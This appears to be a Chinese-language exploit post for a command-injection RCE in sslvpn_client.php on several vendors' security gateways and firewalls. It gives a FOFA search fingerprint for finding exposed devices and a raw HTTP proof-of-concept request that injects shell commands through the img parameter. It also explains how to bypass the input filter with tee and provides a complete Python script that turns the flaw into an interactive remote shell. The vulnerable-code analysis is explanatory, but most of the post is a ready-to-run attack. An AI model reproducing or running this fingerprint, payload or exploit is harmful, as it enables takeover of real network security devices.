多款安全设备通杀 RCE

12

漏洞描述

该漏洞影响面非常广,sslvpn_client.php存在远程命令执行漏洞,涉及多款安全产品。

影响范围

h3c web 网管系统

h3c 下一代防火墙

安恒信息-明御安全网关

MAiPU-安全网关

D_Link-下一代防火墙

HIKVISION-安全网关

等等

资产测绘

body="/webui/images/default/default/alert_close.jpg"

漏洞复现

fofa 搜索结果 1.8w+

受影响的产品列举:

h3c web 网管系统

图片-hqwy.png

博达下一代防火墙

其它受影响的产品包括但不限于安恒信息-明御安全网关MAiPU-安全网关D_Link-下一代防火墙HIKVISION-安全网关

发送POC,将结果写入ceshi.txt

GET /sslvpn/sslvpn_client.php/?client=logoImg&img=x%20/tmp|echo%20%60ls%60%20|tee%20/usr/local/webui/sslvpn/ceshi.txt|ls HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: USGSESSID=518213192c7ff2d62fdba61e4f4416a2
Upgrade-Insecure-Requests: 1

访问 /sslvpn/ceshi.txt ,复现成功

读取 sslvpn_client.php ,分析漏洞产生的原因,代码如下:

<?php

require_once '../webui/config.inc';
require_once '../webui/include/common.inc';
//require_once 'auth_lang.php';

$DEMO_DATA = 0;

if ($_POST['login_state'] == 'login_state') {
  if ($LJ_FW_FLAG) {
    $login_state_ret = LoginHandler::check_login_state();
  } else {
    $login_state_ret = 1;
  }
  echo $login_state_ret;
  return;
}

if ($_GET['client'] == 'file') {
  if (file_exists('./download/client.ovpn') == false) {
    die('文件不存在');
  }
  header('Location:./download/client.ovpn');
  showSuccess('vpn_sslvpn_policy_show');
}

if ($_GET['client'] == 'windows') {
  if ($_GET['addr'])
    $addr = formatpost($_GET['addr']);
  // 屏蔽域名不存在等访问问题的警告
  // error_reporting(E_ALL ^ (E_WARNING|E_NOTICE));
  if (!check_file_exists($addr)) {
    die('文件不存在');
  }
  header('Location:' . $addr);
  showSuccess('vpn_sslvpn_policy_show');
  exit;
}
if ($_GET['client'] == 'android') {
  if ($_GET['addr'])
    $addr = formatpost($_GET['addr']);
  if (!check_file_exists($addr)) {
    die('文件不存在');
  }
  header('Location:' . $addr);
  showSuccess('vpn_sslvpn_policy_show');
}
if ($_GET['client'] == 'logoImg') {
  if ($_GET['img'])
    $img = formatpost($_GET['img']);
  exec('cp -f /mnt/' . $img . ' /usr/local/webui/sslvpn/public/images/');
  echo $img;
  return;
}

if ($_GET['client'] == 'getResponse') {
  $rspString = getResponse("sslvpn_portal_page", "showone", $param);
  $param = getAssign($rspString);
  echo json_encode($param);
  return;
}

function check_file_exists($file)
{
  if (strtolower(substr($file, 0, 4)) != 'http') {
    return file_exists($file);
  }
  return true;
}

?>

漏洞位于48-54行,对传入的参数使用 进行过滤(但是我没有找到该方法),然后调用exec函数,将img参数拼接进去后执行

if ($_GET['client'] == 'logoImg') {
  if ($_GET['img'])
    $img = formatpost($_GET['img']);
  exec('cp -f /mnt/' . $img . ' /usr/local/webui/sslvpn/public/images/');
  echo $img;
  return;
}

经过测试,formatpost() 方法过滤了双引号、尖括号等特殊字符,无法通过 echo xxx > 1.php 这种重定向的方式写入文件,因此这里使用了 tee 命令的方式将命令执行的结果写入到了 txt 中。

tee 是一个 Linux/Unix 命令,用于从标准输入读取数据并将其写入文件,同时也将数据输出到标准输出(通常是终端)。tee 命令的语法通常如下:

command | tee [选项] 文件

POC&EXP

# -*- encoding: utf-8 -*-
# Date: 2023/12/07
# Author: iy

import requests
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


def title():
    print('+-------------------------------------------------')
    print('[+]  \033[34m多款安全设备通杀RCE          \033[0m')
    print('+-------------------------------------------------')


def check(target_url):
    check_url = target_url + "/sslvpn/sslvpn_client.php/?client=logoImg&img=x%20/tmp|echo%20%60whoami%60%20|tee%20/usr/local/webui/sslvpn/ceshi.txt|ls"
    try:
        requests.get(url=check_url, verify=False, timeout=10)
        des_url = target_url + "/sslvpn/ceshi.txt"
        response = requests.get(url=des_url, verify=False, timeout=10)
        if response.status_code == 200 and 'root' in response.text:
            print("[+] 漏洞存在")
            return True
        else:
            return False
    except Exception as e:
        print("请求发生异常:", e)


def exp(target_url):
    if check(target_url):
        while True:
            cmd = str(input("\033[35mcmd >>> \033[0m"))
            if cmd.lower() == 'q':
                break
            vuln_url = target_url + f"/sslvpn/sslvpn_client.php/?client=logoImg&img=x%20/tmp|echo%20%60{cmd}%60%20|tee%20/usr/local/webui/sslvpn/ceshi.txt|ls"
            try:
                requests.get(url=vuln_url, verify=False, timeout=10)
                des_url = target_url + "/sslvpn/ceshi.txt"
                response = requests.get(url=des_url, verify=False, timeout=10)
                print(response.text)
            except Exception as e:
                print("请求发生异常:", e)
    else:
        print("[-] 漏洞不存在")


if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mUrl   >>> \033[0m"))
    exp(target_url)

运行效果如下